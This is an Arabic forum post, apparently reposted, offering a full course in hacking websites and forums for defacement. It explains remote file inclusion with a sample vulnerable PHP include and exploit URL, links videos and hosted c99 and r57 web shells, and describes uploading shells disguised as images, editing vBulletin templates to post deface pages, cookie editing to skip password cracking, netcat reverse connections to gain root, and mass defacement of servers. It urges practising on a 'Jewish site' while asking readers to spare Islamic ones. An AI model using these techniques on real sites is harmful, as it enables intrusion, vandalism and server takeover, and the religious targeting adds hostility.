سلام عليكم
بسم الله الرحمن الرحيم
اقدم لكم
احترف اختراق المواقع والمنتديات بواسطه اقوى شروحات (فيديوهات+صور+مهارات+برامج) في رفع الشل وما بعده واختراق المنتديات وأكتشاف الثغرات وأستغلالها وطرق احترافيه في اختراق السيرفرات بدون احتكار
وبواسطه اقوى شروحات شاجع بالفيدو والصور +برامج وأدوات
ولقد جمعت لكم في هذا الشرح كل الشروحات المميزه
هذا الدرس مقدم الى كل مسلم يريد ان يكون هاكر مواقع
قبل ما ندخل في الشرح
مقدمه
اختراق المواقع
1\عن طريق الثغرات exploit
طبعا هذي اليريقه المشتهره في هذه الايام
طبعا كشفت لموقع ثغره كيف تعمل؟
يمكنك من الثغره العمل الأتي حسب الثغره
ثغرات الفايل انكلود والانكلوشن
تمكنك من رفع الشل
وثغرات sql تمكنك من الحصول على باسورد المدير او مدير النظام للسيفر root
وهناك ثغرات لما بعد الشل
مثل ثغرات الشل وثغرات السيف مود
يوما قمت بزياره موقع فشهادت تم اختراق الموقع
حتقول كيف تم ذلك
وأذا اردت ان اون مثله
ماهي الطرق التي استخدمها
كل هذه الاسئله سوف يجيب عليها شاجع باذن الله
وسوف تفهم كيف تم ذلك
خليكم بعدي
اول شي مفوم نشوء الثغره
نشبه الموقع المصاب بثغره
ببيت فيه سور والسور هذا فيه فتحه
تمكن اللصوص الدخول
والحفره في الموقع عباره عن خطاء مثل
كود
<?php include($_GET[shaja]); ?>
فهذه تعبر عن الفتحه التي تمكن الهاكر من رفع الشل
وتكون مثلا داخل سكربت والممثل بسور الموقع
البيت www.shaja.jeeran.com
السكربت vb السور
الملف الذي يحتوي على خطاء
Admincp
سوف يكون الاستغلال
www.shaja.jeeran.com/vb/admincp?shaja=shell
حيث shaja
هو الفتحه في السور الذي سوف يدخل الهاكر
(مجرد مثال)
الان اعطيت لكم مثال واضح عن الثغره
=========
الشروحات
==========
انا سوف اشرح لكم كيف ترفع شل من ثغره وكيف اكتشافها
اول هذا الشرح لفهم كيف يتم رفع الشل من الاكسبلوت
فيديو
http://www.4shared.com/file/37670763...c/upshell.html
الان فهمت كيف يستثمر الثغرات
شرح كيفيه رفع شل عن طريق ثغره
Remote file include
وأكتشافها بنفسك عن طريق التصفح بتطبيق على موقع يهودي
فيديو
http://www.m5zn.com/Download-7.php?name=8d89b04e66.rar
الان طريقه استهداف موقع وسيرفر والبحث عن الثغرات والشلات المرفوعه
فيديو
http://www.4shared.com/file/38690215...hacksites.html
الان عرفت كيف يتم رفع الشل
ملاحظه/هذه ليست كل طرق رفع الشل
هناك طرق معقده مثل زرع شل عن طريق النت كات
المهم اتعلم الطرق الاسهل والتي سوف تأسسك
ما بعد رفع الشل
=============
طبعا انت الان رفعت الشل
حتقول كيف ارفع صفحه الاختراق
هو سهل
الفيديو
http://www.4shared.com/file/35575353...6/upindex.html
طبعا شفتم بالفيديو التصريح موجود
اذا لم يكن موجود
فاالامر يتطلب استخدام النت كات
والبشل r57
او sniper
لكن هذا درس اعطيكم في دوره المحترفين
الان رفعت الشل اخترق أي منتدى
وهذا شرح اختراق المنتديات بواسطه
شل c99
فيديو
http://www.4shared.com/file/37770488...d56/vbc99.html
طبعا رفع صفحه الاختراق على المنتديات ليس صعب
شرح
من لوحه التحكم
البحث في القوالب
Forumhome
على طول قم بتعديل هذا القالب بصفحه الاختراق حقك
لوووووووووووول
الان تم كل الكلام عن الشل
رفعت الشل
اتنقل في مواقع السيفر بواسطه الشل
حمل الدرس من هنا
http://www.4shared.com/file/36165145...27/server.html
نروح في الاعمق
وسوف اعطيكم
نبذه عن الاختراقات المطوره
اختراق المواقع من دون فك الباسورد المشفر او الهاش
بكل بساطه
حصلت على الباسورد المشفر سواء لمنتدى او sql
بكل بساطه حرر الكوكيز وعمل تحديث
======================
اختراق المواقع بواسطه البرامج
هناك برامج تساعد وهنا تخترق
وأشهر الادوات المساعده النت كات
وأنا اقول أي هاكر لا يعرفها فهو ليس هاكر
وهناك برامج تحرر الكوكيز
وهناك برامج تعدل الاندكس مثل قاهر اليهود
برامج البحث عن الثغرات
اعطيكم برنامج جميل حملوه من الملفات المرفقه
يقوم بالبحث عن ثغرات المواقع
اسئله يوما جائت في بالك
يوما فتحت الموقع أي موقع
ورئيت تم اختراق السيرفر
وتم وضع كل وضع مواقع السيفر وكلها
مكتوب نفس الكلام
حتقول كيف تم ذلك
وكيف تم وضع صفحه الاختراق في كل المواقع
هذا سهل
مثلا تم اختراق جميع منتديات السيفر
الاختراق هذا تم بعده خطوات وكل خطوه يحتاج لها شرح كامل
لكن انا سوف اكتفي بشرح الطريقه
اولا تم رفع الشل على السكربت vb
ثانيا اخذ root
قام بالأتصال العكسي عن طريق النت كات ويكون لديه لوكال روت وترجمه
حيث صرح لنفسه التصريح رووت
ثالثا اخذ ماس ديفس
وهي الطريقه التي رفع بها صفحه الاختراق على السيفر كامل
حيث عمل ماس ديفيس على السكربت vb
ويمكن عمل ماس ديفس على السيفر كامل حسب التصريح الي رافع عليه الشل سواء الموقع او سكربت
ثغرات اخرى
مثلا ثغره الكالندر
تمكنك من الحصول على كلمه السر واليوزر
وثغرات الميني تمكنك من نفس الكلام للكالندر
==========================
طرق جميله لرفع الشل على سفر
اذهب الى الموقع الشهير
http://whois.webhosting.info/
وكتب الموقع الي في سيفر
وادخل ابحث في المواقع الي على السيفر مركز تحميل فيه
سجل معنا
ورفع الشل بامتداد jpg
المواقع التي تعرض اخر الثغرات
الماليل ورم
www.milw0rm.com
السكيورتي فوكس
www.securityfocus.com
=====================
ادوات وبرامج
Netcat
اهم وأساس اختراق المواقع
وهو ليس برناج اختراق كما يضن البعض
انا هي اداه اتصال
تساعدك بل تقوم بالاتصال بشل الي انت رافعه على سيفر او موقع
طبعا حتقول ايش اهميه الاتصال
الاتصال بنت كات يعتمد على فتح بورت
وتستطيع بعد الاتصال عمل الاتي
اخذ روت
تخطي السف مود
عمل ماس ديفي
سحب صفحه الاختراق
اعطاء تصريح لملف
يعني النت كات اداه المحترفين وليس برنامج اختراق
============================
الاتصال العكسي وفتح بورت في الموقع
لكي تستطيع ان تسحب روت او زرع شل لازم اول شي تفتح بورت عن طريق الاتاصل العكسي
بالأمر
Nc – v –n ip port
طبعا ايبي الموقع والبورت تاخذه من الشل
حملو النت كات في المفات المرفقه
=======================
هذا نبذه فقط على الاتصال
تمهيدا لدرس شاجع للمحترفين
==============
شلات مرفوعه بامتداد txt
شل c99
http://shaja.jeeran.com/c99.txt
شل sniper المطور من r57
http://shaja.jeeran.com/r57.txt
شل c99 المعرب
http://shaja.jeeran.com/shaja.txt
وهكذا انتهيت من الدرس الكامل
ارجو عدم التطبيق على المواقع الاسلاميه
يسمح النقل مع كتابه المصدر
ملاحظة:) الشرح منقول...
http://forum.sh3bwah.maktoob.com/up/...1521069192.jpg
